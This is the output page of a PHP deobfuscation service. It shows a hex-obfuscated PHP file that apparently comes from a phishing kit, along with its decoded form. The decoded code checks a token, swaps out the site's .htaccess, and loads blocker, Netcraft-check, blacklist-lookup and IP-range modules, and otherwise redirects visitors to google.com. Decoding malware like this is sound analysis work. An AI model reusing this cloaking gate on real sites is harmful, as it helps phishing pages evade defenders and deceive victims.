Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4f\x42\x41\x4cS"}["\x77\x6e\x62o\x71x\x68\x67"]="n\x65\x77U\x52L";${"\x47\..

Decoded Output download

<?php ${"GLOBALS"}["wnboqxhg"]="newURL";${"GLOBALS"}["icgxbhy"]="token1";require_once"config.php";$mccxetlecxc="newURL";$xqiswxnwxf="token2";${"GLOBALS"}["pcfbnjylxcj"]="token1";${${"GLOBALS"}["icgxbhy"]}="ftKpVHN8OKav9axBcLLiUpVz4lhvQcjq";${$mccxetlecxc}="https://www.google.com";if(${${"GLOBALS"}["pcfbnjylxcj"]}==${$xqiswxnwxf}){@unlink(".htaccess");@copy("._KHOy.txt",".htaccess");require"blocker.php";require"blocker2.php";require"assets/includes/visitor_log.php";require"assets/includes/netcraft_check.php";require"assets/includes/blacklist_lookup.php";require"assets/includes/ip_range_check.php";}else{header("Location: ".${${"GLOBALS"}["wnboqxhg"]});} 
?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42\x41\x4cS"}["\x77\x6e\x62o\x71x\x68\x67"]="n\x65\x77U\x52L";${"\x47\x4c\x4f\x42A\x4c\x53"}["ic\x67\x78\x62\x68\x79"]="\x74\x6f\x6be\x6e\x31";require_once"\x63o\x6ef\x69g.p\x68p";$mccxetlecxc="n\x65\x77\x55R\x4c";$xqiswxnwxf="to\x6be\x6e\x32";${"G\x4cO\x42A\x4cS"}["p\x63fb\x6ej\x79\x6c\x78\x63j"]="\x74\x6f\x6b\x65\x6e\x31";${${"GL\x4f\x42AL\x53"}["\x69\x63g\x78\x62\x68\x79"]}="\x66\x74K\x70\x56H\x4e\x38OKav9a\x78\x42cL\x4ci\x55p\x56\x7a4lh\x76Q\x63jq";${$mccxetlecxc}="h\x74tps://\x77ww\x2egoo\x67l\x65\x2e\x63\x6f\x6d";if(${${"\x47LO\x42A\x4c\x53"}["\x70\x63\x66\x62nj\x79\x6cx\x63\x6a"]}==${$xqiswxnwxf}){@unlink("\x2ehta\x63\x63es\x73");@copy("\x2e_\x4b\x48O\x79\x2etx\x74",".\x68\x74a\x63cess");require"b\x6c\x6fck\x65\x72\x2ep\x68\x70";require"\x62\x6co\x63\x6b\x65r\x32.ph\x70";require"a\x73se\x74s/i\x6e\x63lu\x64es/visit\x6fr_l\x6fg.\x70\x68p";require"ass\x65\x74\x73/in\x63\x6cu\x64\x65s/n\x65\x74\x63\x72a\x66\x74_\x63hec\x6b.\x70\x68p";require"a\x73s\x65\x74s/\x69\x6eclud\x65\x73/\x62l\x61\x63\x6b\x6c\x69\x73\x74\x5floo\x6bu\x70.\x70\x68\x70";require"\x61\x73set\x73/inc\x6c\x75\x64es/ip_\x72a\x6e\x67e\x5f\x63\x68\x65ck\x2ephp";}else{header("Lo\x63\x61\x74ion: ".${${"G\x4cOB\x41\x4c\x53"}["\x77\x6eb\x6fq\x78\x68\x67"]});}
?>

Function Calls

None

Variables

GLOBALS [{'key': 'wnboqxhg', 'value': 'newURL'}, {'key': 'icgxbhy', 'value': 'token1'}]

Stats

MD5 8e552965be09b8cbaa5af6c7215d93bb
Eval Count 0
Decode Time 136 ms